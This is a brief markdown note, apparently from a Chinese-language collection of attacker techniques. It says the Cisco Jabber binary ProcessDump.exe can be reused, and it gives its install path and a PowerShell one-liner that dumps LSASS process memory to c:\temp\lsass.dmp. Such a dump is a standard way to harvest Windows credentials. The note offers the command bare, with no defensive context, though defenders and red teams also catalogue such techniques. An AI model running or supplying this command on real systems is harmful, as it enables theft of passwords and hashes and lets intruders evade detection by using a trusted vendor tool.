Malware-Note/dump/processdump.exe.md

ProcessDump.exe

来自Cisco Jabber

位于c:\program files (x86)\cisco systems\cisco jabber\x64\

powershell:

cd c:\program files (x86)\cisco systems\cisco jabber\x64\
processdump.exe (ps lsass).id c:\temp\lsass.dmp